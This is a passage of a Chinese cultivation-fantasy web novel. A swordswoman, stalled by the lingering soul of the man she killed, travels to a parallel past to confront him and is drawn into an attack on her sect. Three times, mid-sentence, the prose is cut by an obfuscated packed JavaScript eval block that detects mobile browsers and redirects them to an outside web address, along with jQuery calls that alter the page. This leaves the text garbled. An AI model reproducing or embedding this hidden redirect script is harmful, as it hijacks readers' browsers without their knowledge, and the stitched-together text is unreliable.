时间再久一点,曲家就不来了。 再后来,她听说曲家败了。 一个世家,骤然失去一位元婴后期的战斗流长老,便如同参天大树被斩去了主根,再无支撑之力。 旁支争权,外敌环伺,内忧外患之下一日不如一日,再正常不过。 等到她结婴、名震修真界的时候,曲家已沦落为一个无人问津的三流小世家。 再也没人提起替曲存真报仇这回事。 结婴之后,她的修炼速度依然飞快,丝毫没有放缓之势。 元婴初期到中期,用了八年。 中期到后期,用了十二年。 后期到巅峰,十年。 巅峰到元婴大圆满,又是十年。 一百零三岁那年,她终于步入半步化神,距离化神只有半步之遥。 也到了该问心的时刻。 每一个修士从半步化神到化神,都必须过问心这一关。 问的是本心,问的是道心,问的是这些年修炼路上,有无留下破绽、后悔与遗憾。 她认为她没有。 她修炼刻苦,日夜不辍,道心坚定,杀伐果断,从不后悔,从不回头,也从不浪费时间想修炼之外那些没用的事。 她这一生,活着从来只为一件事。 化神飞升,摆脱枷锁。 其余皆可舍弃。 她也一直是如此做的,所以无破绽,无遗憾,更不后悔。 她闭上眼,守住本心,开启问心阵。 然后,她看见了曲存真。 他站在她面前,还是生前那副样子。 秀挺的鼻梁,清冷的眉眼,如拢了一层纱隔着一层雾地看着她。 只是胸口有一道狰狞剑口。 血从剑口涌出,顺着他的衣襟往下淌。滴在地上,开花一样溅开来。 随着血越流越多,他的眉眼也逐渐不再清冷,不再如纱似雾。 他悲凉而颓然地看着她。 而他身上的血仿佛永远也流不完,越积越多,渐渐流到她脚边,漫过她的鞋面,双腿,脖颈,一点点将她淹没…… 在难以承受的炙烫与窒息感中,她听到刺啦一声轻响。 她百年不变坚如磐石的道心,裂开一道缝。 问心失败。 她蓦地睁开眼,低头看自己的手,干干净净没有血,可那股炙烫感还在。 那种被血漫过脖颈、快要淹没的窒息感还在。 她问心看见的是曲存真,一个早已被她遗忘的人。 怎么可能? 从杀他那天起,她就再也没有想起过他。 可刚才,他站在她的面前看着她,胸口流血,眼神悲凉。 她清楚,问心阵中所见皆是心结,皆是心魔。 可她哪里来的心魔? 她对于杀他这件事从不后悔,没有遗憾,更不欠他什么。 杀他是因为他该死,逃出来是因为要活着。 她明明没做错,每一步都走得问心无愧。 那他为什么会出现?为什么会以这般的模样,出现在她的问心阵中? 她更不明白他为什么会有那样的眼神,好像她要杀他,是件让他无比难过的事。 他有什么好难过的? 他强迫她时就没有想过她会反抗吗? 她杀他不是应该的吗? 素遂心枯坐了一整夜。 天亮的时候,她站起来走到窗边,推开窗。 晨光照进来,落在她脸上。她眯了眯眼,看了一会儿远处的山,然后把窗关上。 不过是第一次问心失败而已。 她又不是没有经历过这种不断跌境界的事。 没什么大不了的,跌了再爬起来,她最擅长这个。 下一次,她不会再看见他。 她闭上眼,重新投入修炼。 第一次问心失败后,她闭关十年。 十年间,她心无旁骛,把跌落的修为一点一点补回来,从元婴后期修回元婴大圆满,然后半步化神,境界甚至比之前更加稳固。 然后她再次开启问心。 可这一次,曲存真依然站在那里。 还是那道狰狞的剑口,源源不断的鲜血,以及那双悲凉而颓然的眼睛。 血再次漫过来,淹没她,炙烫感几乎要将她灼穿,道心上的缝隙,也在一点点扩大。 问心再次失败。 这一次,她的修为跌得更狠,直接跌到了元婴中期。 一股难以遏制的怒火,从心底腾起。 为什么就是过不去? 为什么他总是要出现! 她不信邪。 再修就是了! 又过了二十年。 从元婴中期到元婴大圆满再到半步化神,她用了二十年。比上一次慢了整整十年,但没关系,她有的是时间。 第三次问心的时候,她在心底反复告诫自己:这一次,她不会看到他。 守住心神,不看,不想,不理会…… 可血还是流过来了。 她听见自己狂乱的心跳,还有一个轻而无力却震彻心神的声音。 “你要杀我?” 道心无法承受,彻底裂开。 这次,她的修为跌到了元婴初期。 她缓缓低头,看向自己的双手。 她的手在抖。 七岁之前,每当她恐惧绝望的时候手就会抖。 但自从七岁被曲存真从喜雨村带走,她的手就再也没有抖过。 一百多年修炼,再苦再难从来没有抖过。 杀他的时候也没有抖过。 她攥紧拳头,指甲深深陷进掌心。疼痛让她清醒一些,可还是抑制不住微微发抖。 再跌下去,就该跌破元婴,打回金丹了。 一百多年的苦修,就要这样一点一点回到原点? 被曲存真用作炉鼎的时候,她恨他恨得锥心刺骨,恨到愿意用五年的时间一点点给他下毒。 原本,她以为曲存真死了,她的恨便也随之烟消云散。她可以放下过往,一心修炼,奔赴自己的道。 可现在,恨意又回来了,更甚于当年。 这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500378|202699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的恨要如何消解? 她总不能再杀他一次吧,他已经死了啊。 她站起身,往静霄子的洞府走去。 她没有办法了,只能求师尊指点迷津。 ~ “师尊,我不明白。” “你不明白什么?” “我为什么会看见曲存真?他不该出现的。” “那要看你的心境了。你是不是,后悔杀他了?” 素遂心怔了一瞬,语气笃定而急切:“没有。” 静霄子没有说话,只是静静地看着她。 她觉得师尊好像不信,但她的确就是问心无愧。 “我从不后悔杀他。他该死。”语气比刚才更加坚定,眼神也更加执拗。 素遂心等着静霄子的回应,可过了许久也没等到。 她垂下眼看着自己的手,现在已经不抖了,可她总觉得指尖还残留着那股炙烫感。 “我没有心魔,也不后悔。”她低声重复着,“我每一步走得都对。曲存真他凭什么出现在我的问心阵?凭什么一次次毁了我的问心?” 静霄子正要开口,门外忽然传来一道声音。 “师尊。”是沈既。 静霄子顿了一下:“进来。” 门推开,沈既走进来。 他依旧是素遂心初见时的模样,十六七岁的少年郎,容貌昳丽,只是周身的气息比年少时沉稳了许多。 他的目光先落在素遂心身上,“听说师妹来了。我来看看有没有什么需要我帮忙的。毕竟师妹如今修为受损,若是有什么难处,师兄自当相助。” 他站在原地,等了一会儿,见静霄子和素遂心都没有理会他,便自觉地走到一旁的蒲团上坐下,摆了摆手,笑道:“你们继续,当我不在。” 静霄子收回目光,重新看向素遂心,目光中带着些许审视,继续被沈既打断的问题,“你确定吗?” 素遂心被静霄子的目光看得有些不自在,却仍是直瞪瞪与他对视,语气不容置疑,“自然确定。” 沈既坐在一旁,端起几上的茶水,看似漫不经心,目光却悄悄在素遂心脸上转了一圈。 他看见她垂着眼,手指微微抖着。 静霄子看着素遂心,过了片刻,他招了招手,“你过来。” 素遂心走近几步,在他面前盘膝坐下。 静霄子抬起手,二指抵在她眉心。 他的神识探入,沿着她的灵脉缓缓游走,一寸一寸探查。 时间一点一点过去,静霄子的眉头微微皱起。 素遂心睁开眼,看见师尊的目光比方才更复杂了些,“师尊,怎么了?有什么问题吗?” 静霄子收回手,神色难辨,“你体内……有他的东西。” 素遂心一时没听懂,“……什么?” 坐在一旁的沈既,也瞬间放下手中的茶盏,脸上的随意消失得无影无踪,急切地追问道:“谁的……什么?师尊,您说的是曲存真的东西?” 静霄子点头,对素遂心道:“你体内有曲存真的元神,分散成游丝一样遍布在你各处灵脉里。藏得极深,极为隐蔽。若不是你三次问心,触动了这些元神细丝,它们或许永远不会苏醒,也永远不会被人发现。” 素遂心心上紧绷的弦骤然一松,脸上露出释然之色,“是因为如此,我才会看到他?” “或许吧。”静霄子点了点头,“这些元神与你的灵脉早已相融,平日里毫无异常,可一旦你心绪波动,或是进入问心这种探查本心的状态,它们便会被触动,显现出曲存真的模样,干扰你的心神,击溃你的道心。” “所以,果然不是什么心魔,而是他的元神在作祟。”素遂心的神色彻底轻松下来,“师尊,他的元神,还有多少?我体内的这些,能清除吗?” 静霄子拈须道:“若一个人的元神按十成计量,你体内大概有他一成的元神。” “这怎么可能?”沈既一脸见鬼地神情看着素遂心,“曲存真当年明明身陨神灭,元婴被你用缚阵困死在体内,元神怎么可能还存在?还会藏在你的体内?” “他到底是怎么做到的?” “他为什么要这么做?” 5. 回去 素遂心没有理他,她关心的从来不是为什么。 她看着静霄子,问出最关心的问题,“能清除吗?” 沈既跟着附和:“对对,师尊,能弄出去吗?总不能让她一直装着这东西,问心都过不去。” 静霄子没有立刻回答,指尖捻须,神色凝重,指尖灵力微转,似在凝神探查素遂心体内曲存真的元神气息,半晌才缓缓开口。 “我暂时还不知道。可以肯定的是,这一成元神必定是曲存真自己放进去的。元神这种东西,旁人动不了,他能放进去,只能是他自愿为之。” 素遂心垂下眼,掩去眼底的复杂情绪。 他自己放的。 什么时候?怎么放的?她竟毫无察觉。 原来,就在她算计他的同时,他也在暗中给她下了牵制。 沈既问:“他放这东西干什么?监视她还是控制她?曲存真那般心思深沉之人,做任何事必定有目的。” 静霄子摇头:“不知——元神之事本就玄妙,曲存真的心思,我如何能够猜透。” 沈既仿佛不认识静霄子,十分嫌弃道:“师尊,您怎么一问三不知?” 静霄子额角青筋微跳,恨不得一掌拍飞他,“……我又不认识他!” 素遂心此刻却只有一个念头,不管曲存真当年放这一成元神进去是为什么,现在都不重要了,重要的是怎么把它弄出去。 她的道心卡在半步化神,全拜这缕元神所赐,容不得半分拖延。 “师尊,那到底能清除吗?” 静霄子:“能是能,但只能由他本人收回。这一成元神是他自己分出来的,只有他自己能够收回。旁人动不了,你也不行。强行清除,轻则你的灵台受损,修为可能跌得更狠,重则失去灵根彻底沦为废——” 沈既已经叫了起来:“可他已经死了!这不是无解了吗?他都死了一百多年了,怎么可能回来收回元神?” 静霄子默默闭眼不语,他确实毫无头绪,元神离体再归且潜藏百年不散,已是修仙界罕见之事,如何破解,他还需好生思忖。 沈既心下一凉,师尊也觉得难办,师尊很少有觉得为难的时候。 又看向素遂心,见她绷着下颌,不知在想些什么。 素遂心在仔细回想当年。 从七岁被曲存真从喜雨村带走,到后来的相处、成婚,再到她暗中下毒、亲手杀他,每一个细节都清晰地在脑海里过了一遍。 却无论如何也想不起曲存真到底是在什么时候把元神放进她体内的。 她觉得实在荒谬,她以为杀了他便是摆脱了他,却不知道他早已植根在她身上,如附骨之疽。 即便他死了,他的一成元神也神不知鬼不觉地在她身体里潜藏了一百多年。 现在,这东西成了她过不去的坎,问不了心,她的道便只能停止在半步化神。 沈既见她眉头紧锁,张了张嘴,发现说不出什么有用的话,便又紧紧闭上。 他这个师妹啊,一生都在汲汲营营往上爬,爬得比谁都快,快到他只能在后面追,却怎么也追不上。 现在她爬不动了,被一个一百多年前的死鬼拦在功成的最后半步。 他终于有机会追上她,他以为他会高兴的。 静霄子道:“你们先回去,容我再想想。此事棘手,须得查阅古籍、推演秘术,不可贸然定论。” 素遂心坐着没动。 沈既站起身,拉了拉她的袖子。 “走吧,只能这样了,让师尊好好想想。” 素遂心又坐了一会儿才站起来走出去。沈既跟在后面,走到门口,回头看了一眼。 静霄子坐在蒲团上,须发皆白的身影隐在昏暗里,看不清神情,唯有指尖微动,似在暗中推演。 不知道为什么,总觉得师尊今天有些不一样。 ~ 素遂心回到洞府也仍是修炼,等了一个月也没等到静霄子的消息,索性闭了个小关,把跌落的修为提升了一个小境界。 她必须尽快稳住修为,不然会止不住地心慌。 出关才知已经过去了一年。 才刚出关,沈既便来敲门,“师尊叫你。” 素遂心站起来,跟着他往静霄子住处走。 路上沈既走在她旁边,难得没有说话。他看着素遂心的背影,想说些安慰的话,却又不知从何说起。 快到的时候,他才开口,“……师妹,会有法子的。” 素遂心没应声,并不是很习惯这样的沈既。 她知道沈既看不上她,对她从来都不会好好说话,这般小心翼翼的模样,倒让她有些不适应。 殿门推开,静霄子坐在蒲团上。 见他们进来,他抬了抬下巴,“坐。” 两人在他面前坐下。 静霄子看着素遂心:“目前是有那么一个法子。” 素遂心:“师尊请讲。”她的声音很平,却藏着一丝不易察觉的急切。 静霄子从袖中取出一枚令牌,以掌力推到她面前,“回到过去。回到曲存真还活着的时候,让他亲手收回这些元神。” 素遂心愣住。 沈既一言难尽地看着静霄子:“师尊,想了一年,就这?这可能吗?穿越过去,稍有不慎就会改变现在,甚至魂飞魄散啊!”他虽冲动,却也知晓时空秘术的凶险。 静霄子咳嗽一声:“还是……可能的……只是代价有些大。这一年我查阅古籍,筹备所需灵材,耗了不少心力,如今总算是准备得差不多了。” 素遂心盯着浮在面前那枚令牌,其上泛着淡蓝色的微光,写了三个字,她认不全。 字体看上去与当初曲存真送她的那把短剑上刻的字很像,也是弯弯绕绕的。 “这是什么?” 沈既凑过来看了看:“你不认字?上面不是写得明明白白?时间令。” 又嘀咕道,“不对,应该是认字的,不然怎么翻书修炼。你是不认识小篆吧?其实,你那把剑上刻的剑名也是小——” “时间令是什么?”素遂心打断他。 “时间殿主的东西,持此令可回到过去。” 素遂心问静霄子:“师尊说代价,代价是什么?”她早已做好付出一切的准备,只要能清除体内的元神,任何代价都不惜。 “这枚令牌是我早年所得,使用一次要耗费大量灵石、天材地宝,还需要施术之人损耗百年修为。”静霄子语气平静。 沈既大惊小怪:“百年修为!谁的……”而后缓缓转头看向静霄子——在场三个人,能拿出百年修为的那个人是谁很显而易见。 刚要劝说,却见静霄子眼神坚定,到了嘴边的话又咽回去。 静霄子道:“这是施术的代价,我来承担。” “有两点十分重要,你须知晓。第一,你想让曲存真收回元神,只能自己想办法。他若不愿意,你不能逼他,元神的收回须是所有者自愿收回。” “第二,这枚令牌所通的,并非你我此刻所在的世界,而是与现世平行的另一处时空。你在那方天地所为,不会更动此间的因果。正因如此,你也无需顾虑过去种种——那里的曲存真,并非你记忆中与你有关的那一个;那里发生的事,也与你的过往无涉。” 素遂心点头。 沈既更关心的是,“她如何回来?” “时间之门打开后,令牌会发光,光灭之后便会将你带回,除非——”静霄子看着素遂心,语气凝重,“肉身陨灭。” 素遂心:“会怎样?” “会怎样,你会回不来!”沈既道,语气里带着几分不易察觉的慌张,“师妹,你可得想清楚!” 静霄子点头,补充道:“肉身陨灭,元神也会受重创,即便侥幸不死,也会沦为散魂,永世不得超生。” 素遂心面色淡淡:“还有吗?” 沈既插一嘴道:“既然那是另一方时空,那么严格来说,这一成元神算不上是那个曲存真的,这样真没有问题吗?” 静霄子:“……” 又想拍飞他了。 素遂心看沈既一眼,目光中包含了一些罕见的嘉许,她没想到这一点。 沈既心头浮起一丝愉悦。 “师尊,要不换个法子吧!” 静霄子道:“这是目前唯一能清除元神的法子,除此之外再无他路。” 素遂心盯着令牌看了一会儿,“就这样吧,我没有别的选择。” 她一把握住令牌,忽然奇怪地记起一百多年前将那柄剑刺进曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500379|202699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存真身体的感觉。 那画面闪过即逝,被她强行压下。 静霄子道:“有一件事,你要记住。此去凶险,万不可大意,无论发生什么,不要乱来,”他的声音比方才沉了一些,“一定要照顾好自己,一定要回来。” 沈既:“当然要回来,不回来干什么?留那边过年?记住了,千万不要乱来!不要死在那!” …… 静霄子正式开始为她开启阵法。 素遂心走进阵心,盘膝坐下,将时间令握在掌心,闭上眼调整呼吸。 静霄子在她对面落座,双手结印,同时将百年修为缓缓注入阵法之中。 沈既在一旁护法。 令牌开始亮起,发出炫白光芒。 灵光从素遂心身下升起来,像雾气一样裹住她。 她闭上眼,眼前出现一扇雾气凝成的门。 她走入门内。 耳边传来静霄子的声音,很远,如隔着几座山。 “记住。一定要回来。” 然后是沈既的声音,更远一些。 “……别死了。” 一股奇怪的感觉涌上心头,像是被人轻轻拽了一把,却容不得她多想,她似是往一个深不见底的空洞坠落。周围的灵光刺得眼皮发烫,突然暗下去,又亮起来。 然后一切归于宁静。 ~ 素遂心睁开眼。 头顶是陌生的房梁,窗外透进来的光很亮,带着淡淡的药香——这不是她的洞府,也不是静霄子的住处。 她站起身,推开门。 外面是一个小院子,晒着些药材。几个弟子抱着东西匆匆走过,穿着清一色闲远宗弟子服。 “师姐?” 一个声音从旁边传来。 一个十五六岁的少年,穿着外门弟子的袍子,正一脸疑惑地看着她。 “师姐是哪个峰的?怎么在这儿站着?这儿是药园,不是师姐该来的地方。” 素遂心不露声色将修为压至炼气期,她如今是元婴初期,若是暴露修为,必然会引起骚动,不利于行事。 想起静霄子说此地是一个平行空间,既是平行空间,想来基本情况应当与她来的世界相差无几。 她略一思忖,问道:“现在是什么时候?” 少年愣了一下:“什么什么时候?” “我是问,今年是哪一年?闲远宗开宗多少年?” 少年看她的眼神更奇怪了,但还是答道:“闲远宗开宗三千四百二十一年。师姐连这都不知?莫不是闭关闭糊涂了?” 素遂心算了一下。 闲远宗开宗三千四百二十一年。她入宗那年是开宗三千四百三十二年。往前推十一年—— 她回到了自己十七岁那年。 这一年她第一次筑基。 这一年曲存真一百一十七岁,已是元婴后期,比她高出整整两个大境界。 她如今修为跌到元婴初期,差距有点大……不知道能不能打得过他。 如何才能让他心甘情愿收回元神? 少年还在看着她,眼神里带着探究。 素遂心抬脚往山门方向走去,她要去曲家,找到曲存真,越快越好。 少年在后面喊:“师姐,你去哪儿?那边是下山的路,不能随便去——” 话音未落,脚下的大地猛地一震。 素遂心脚步一顿,少年一个踉跄,扶住了旁边的药材架。 “怎、怎么回事——” 又一声巨响。 这一次是从山门方向传来的,沉闷,浑厚,像巨锤砸在铜钟上。 紧接着又是几声…… 一声比一声急,一声比一声重。 天空忽然暗了一瞬。 素遂心抬起头。 闲远宗护山大阵的灵光正在剧烈闪烁。 那层平日里几乎看不见的透明屏障,此刻正被外力撕扯着,不断扭曲变形。 裂纹从山门上空开始蔓延,蛛网一样向四面八方扩散。 “敌袭!敌袭!” 一声声嘶力竭的喊声,从山门方向传来,尖锐地划破空气。 “是曲家!是曲家的人打过来了!” “护山大阵要破了!” 6. 再见 整个闲远宗一时马乱兵慌。 弟子们从各处涌出,或往山门方向冲,或往后山跑,还有愣在原地不知所措的。 素遂心站在原地,看着上空那道正缓慢蔓延开来的大阵裂纹,一头雾水。 曲家攻打闲远宗?曲家和闲远宗怎么打起来了? 又一声巨响,护山大阵的灵光彻底暗下去,只剩一层稀薄、随时破溃的光膜罩在头顶。 她身后的少年一脸惨白:“师、师姐快跑……大阵要破了,曲家的人进来,我们都活不成!” 素遂心看着山门方向,那处灵光冲天,打斗声不绝于耳,无数道身影正在试图冲破那层屏障涌进来。 为首的赫然便是曲家的家主曲清波。 真的是曲家的人。 山门上空有数道身影正在激烈交手,她一眼便认出那是闲远宗的陆掌门和两位长老,三人正合力抵挡曲家的攻势。 可是,为何只有三人? 闲远宗有五位长老,再加上师尊这位太上长老,一共七位元婴以上战力。 此刻陆掌门和两位长老都在,余下四位呢?师尊又在哪里? 素遂心环顾四周,神识悄然散开探查整个宗门,当前迎敌的人之中,的确只有这三道元婴气息,无有其他。 而曲家那边,却有四道元婴气息传来,四位元婴修士并肩作战,气势汹汹。 四对三,闲远宗明显处于下风。大阵能撑到现在,全靠陆掌门三人拼死守着阵眼。可他们能撑多久? 她转身一把抓住那个还在发抖的少年,“我问你,为何不见其他长老?太上长老何在?” “师姐不知么?太、太上长老正在闭生死关呀!已经八十多天了!另外三位长老从旁护法,不能分心!” 闭生死关?八十多天? 素遂心心头一沉,师尊是要踏入半步化神了? 曲家倒是会选时机,这个时候来偷袭,当真是毫无底线! “师姐、师姐!”少年恳求地看着她,“快跑吧,真的来不及了,大阵就要破了——” 素遂心松开手。 少年踉跄着往后山跑去,转瞬便没了踪影。 素遂心正要收回神识,忽听得远处传来惊呼声,尖锐而恐慌,传入耳中。 “不好,太上长老的魂灯——魂灯不稳!” “要灭了!魂灯要灭了!” 她猛地转过头,神识瞬间探向后山静霄子闭关的地方,那处此刻灵光紊乱,气息躁动不稳,隐约能感觉到三道护法的气息正在剧烈波动,显然是乱了方寸。 静霄子魂灯不稳? 她隐约记起来是有这么回事。 她成为闲远宗长老之后曾听人说过,静霄子早年闭生死关之时九死一生,差点没能出来。 原来竟是这一次。 轰—— 又是一声巨响。 护山大阵终于撑不住了。 那层薄薄的光膜上,裂纹飞速向四周扩散,眼看就要彻底碎裂。 被大阵挡在山门之外的曲家人发出震天的欢呼。 曲家家主曲清波趁势冲到阵眼附近,一剑刺向苦苦支撑的陆掌门后心。他算准陆掌门已是强弩之末,这一剑便要将其诛杀。 素遂心抬手在脸上一抹,灵力覆面,瞬间换了一副谁也认不出的平常模样,同时境界压制在金丹大圆满,随即一步踏出,掠向十丈之远的山门。 陆掌门方才险险避过曲清波一剑,此刻又被曲家另一位长老缠上,腹背受敌之下气息紊乱,不可能有半分胜算,转眼便被逼到绝境。 素遂心遥遥抬手祭出一掌,一道凌厉的掌印破空而去,直取那位曲家长老的后心。那人猝不及防,匆忙回身格挡,掌印轰然炸开,震得他连退两步。 陆掌门压力骤减,下意识看了素遂心一眼,见是个面生的年轻女子,修为不过金丹期,他有些讶异但来不及多问,转身又迎上曲清波,口中匆匆道了声“多谢”。 素遂心缠住被她震退的曲家长老。 她虽境界压到金丹,好歹曾到过半步化神,又在元婴这个境界上下起伏无数年,且走的亦是战斗流的路子,对灵力的掌控以及战局的判断都异于常人,因而曲家那位长老虽境界上高她一截,却讨不到任何便宜,被她死死牵制,根本无法靠近阵眼或是支援曲清波。 另一边,闲远宗的两位长老也趁机稳住身形,各自迎上了另外两位曲家长老。 原本一边倒的战局,因素遂心的突然介入,瞬间变成了三对三的僵持局面,阵脚终于勉强稳住。 曲清波脸色铁青,眼神阴鸷得能滴出水来。 随他而来的四位长老被拖住了三位,原本唾手可得的胜利,竟因为一个突然窜出的金丹女修,彻底打乱了计划。 千算万算,他没算到闲远宗竟藏着这样一个堪比元婴的金丹后辈,这下,事情彻底难办了。 “撑住!”陆掌门高声道,“太上长老出关在即!只要再撑片刻,我们便能反败为胜!” 只是,话音刚落,他面色忽然一沉,眼底闪过一丝绝望。 其余两位长老也是同样脸色变得惨白。 这三人与素遂心一样也散开了神识,清晰地听到了后山传来的更加惊恐的呼喊声。 “灭了——太上长老的魂灯灭了!” “太上长老……没了!” 素遂心神识再次探去后山,便发觉那里的灵光确实暗了下去,三道护法的气息剧烈波动,显然已是乱了阵脚。 不可能啊?怎么可能! 曲清波却是双眼一亮:“好!好得很!静霄子死了!闲远宗气数已尽!” 曲家人士气大振,攻势瞬间猛烈起来。 一位闲远宗长老闷哼一声,被震退几步,口吐鲜血。 素遂心咬了咬牙。 不可能。 师尊不可能死在这里。 静霄子当年虽九死一生,却终究闯过了生死关,顺利踏入半步化神。 难道,这个时空师尊的命数便是如此? 她一面缠住曲家的长老,一面继续分神往后山探去。那里一片混乱,护法的三人气息不稳,但—— 忽然,一道微光从后山深处亮起,很弱,但很稳。 紧接着,有人惊喜地哭起来:“亮了亮了!魂灯又亮了!太上长老挺过来,要出关了!” 探查到那簇微光渐渐明亮起来,素遂心悬着的心才落回原处。 还好,师尊没事。 两个时空还是一致的。 如非万不得已,她不想扰乱这个时空。 陆掌门立即高声道:“太上长老已经无虞,众弟子勉力御敌!” 曲清波狂笑几声,“无虞你个鬼!静霄子老贼今日必死无疑才对——”话未说完却忽然面色大变,“不可能!”他惊愕一瞬便收回神识,下令道,“尔等加把劲,速速拿下,迟则生——” 他话音未落,素遂心人已闪出。 她不再缠斗,她要抓住这个机会,擒贼先擒王。 曲清波反应过来时,已来不及结印防御。 素遂心反手扣住他的手腕,指尖灵力瞬间灌入,死死封住了他的灵台,让他无法调动半分灵力。 曲清波修为元婴初期,比她的真实修为低了两个小境界,再加上她手法着实刁钻,令他束手无策又大为恼怒,“竖子!” 素遂心不想听他说话,她从前就十分厌恶此人。 她手腕一翻,猛地发力,把他整个人甩了出去,砸在山门石柱上。 轰的一声,石柱裂开,曲清波口吐鲜血,动弹不得。 全场安静了一瞬。 曲家的人彻底愣住了,一个个面面相觑,不敢相信自己的家主,竟被一个金丹期的女修轻易制服。 “家主!” 几位曲家长老反应过来,纷纷想要冲上前营救,可陆掌门和两位闲远宗长老早已回过神,立刻上前死死挡住他们,不让他们前进一步。 素遂心站在曲清波身前,低头觑他。 “让他们退。不然,曲家做好为家主办丧事的准备吧。” 曲清波斜靠在石柱上,嘴角溢着鲜血,只鄙薄地冷哼一声,并不说话。他不信,这个金丹期的女修真的敢杀他。 素遂心眼底闪过一丝杀意。 当她不敢是吗? 想起从前与此人的一些旧怨,对她来说,杀他不会有半分心理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500380|202699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负担。 一时真起了杀心。 就在她指尖凝聚灵力,准备动手的时候,远处忽然传来一阵急促的破空声。 紧随而至的,是一股磅礴而令人窒息的威压,沉甸甸碾过全场。 一道白影自山门方向疾掠而来,快得只余残光。几乎在众人察觉的同一瞬,他已落在三丈之外。 素遂心抬头,眯眼望去。 日光从那人身后奔涌而来,在他身上描出一层灿金流动的轮廓。 他的脸浸在逆光里,却还是清晰地映入她眼帘。 秀挺的鼻梁,清冷的眉眼,是她刻入骨髓、永生难忘的模样。 曲存真。 藏在素遂心灵府中的本命剑,忽然剧烈颤动起来。 这把本命剑是她半步化神之后所炼,因想不出什么好名字,所以暂时叫它“剑”。 后来她深陷问心的困扰,更无心给它想名字,剑便一直叫做“剑”。 她不动声色地按住“剑”,灵力压下。 “剑”没听,它好似十分躁动,剑身微微发烫,一股嗜杀的剑意顺着剑柄往上涌,如同闻到血腥味的野兽,想要从灵府挣脱而出,杀了眼前的那个人。 素遂心强行把“剑”的躁动压回。 可“剑”却不听使唤,依旧在灵府中剧烈嗡鸣,满是不满。 对于“剑”的躁动,素遂心并不惊讶。 本命剑通主人本心,剑意便是主人的心意,这股浓烈的杀意,从来都不是“剑”的,而是来自于她自己,是她本能的杀意。 曲存真到来之后,曲家人明显都松了口气,毕竟在场诸位元婴之中,属他修为与战斗力最高。 曲清波也像是抓住了救命稻草,“藏舟,静霄子尚未出关,生死未卜。”这是在提示曲存真,趁此机会一举掀了闲远宗。 素遂心眉心一跳,眼底杀意更浓,低头看了一眼脚下的曲清波。 这人从前就惹人厌,现在更惹人厌。 “闭嘴吧你。”她手腕一翻,一道灵力打入曲清波体内,震得他闷哼一声,嘴角又溢出血来。 就在这时,一道威压自前方漫笼而来,山岳般无声无息地落在肩上,让她浑身一沉,气血微微翻涌。 素遂心急忙运转周天,调用灵力抵抗。 她抬起头,正对上曲存真的目光。 他站在三丈之外,眼神冰冷,没有半分温度,看蝼蚁似的睥睨她。 “放了他。” 声音不大,却清清楚楚落进每个人耳朵里。 没有任何请求抑或商量的语调,就好像她的意见根本不值一提。 素遂心有些恍然,这样的曲存真让她感到陌生。 她记忆中的曲存真,看人的时候眼里总是笼纱绕雾,语气温和,举止优雅,以此来掩藏他的道貌岸然与虚伪。 可眼前这个人,眼神里只有高处俯视的冷淡与疏离,言语独断傲慢,锋芒毕露,毫无掩饰。 不过,那又如何,她不在意。 一百多年过去,她早已没有当初和他虚与委蛇时的耐心,她恨他更胜从前。 她无所谓他的真面目到底如何,她只知道他害她问不了心。 原本,她还在思索,如何才能哄着他,让他心甘情愿地收回那一成元神。 可此刻,看着他这副模样,她忽然觉得,何必要那么麻烦? 那就试试吧。 虽然她此刻修为跌到元婴,“剑”却没有,它还是半步化神的品级。 半步化神的剑握在初期元婴手里,威力固然大打折扣,却也不见得不能与元婴后期一战。 瘦死的骆驼比马大,落毛的凤凰不一定不如鸡。 他现在不是还没将元神放入她身体么?与其想尽周折求他收回元神,不如—— 直接先一步将他杀了! 素遂心眼底闪过一丝决绝,迎着曲存真的目光,“我若说不放呢?” 她彻底释放元婴修为不再压制,一股强劲的灵力瞬间席卷全场。 “剑”欢快地抖了抖,像脱缰的野狗冲出灵府。 下一秒,无数道剑气自剑身迸发而出,一个杀机四伏的杀戮剑阵降临在曲存真头顶。 7. 交手 杀戮剑阵降临的瞬间,曲存真神色未变,抬起手。 一柄剑从他身后浮现,升至头顶。 剑身古朴,毫无装饰,像一截枯枝。 剑出鞘的刹那,一股沉凝如山的剑意将方圆十丈之地笼罩在内,压得在场众人呼吸一滞。 素遂心认出那柄剑,它是曲存真的本命剑“守拙”。 杀戮剑阵撞上守拙剑意,发出震耳欲聋的一声。 轰—— 两股力量相撞的瞬间,地面开始摇晃,裂纹从剑阵相撞的地方向四周蔓延,一直延伸到十几丈外。 原本还在交手的弟子们被突如其来的冲击震得站立不稳,纷纷勉力稳住身形。 素遂心咬牙,继续调动灵力注入剑阵。 杀戮剑意暴涨,化作无数道剑光,从四面八方斩向曲存真。 曲存真站立原地,身形未动分毫,几乎就在剑光袭来的瞬间,他的剑阵展开。 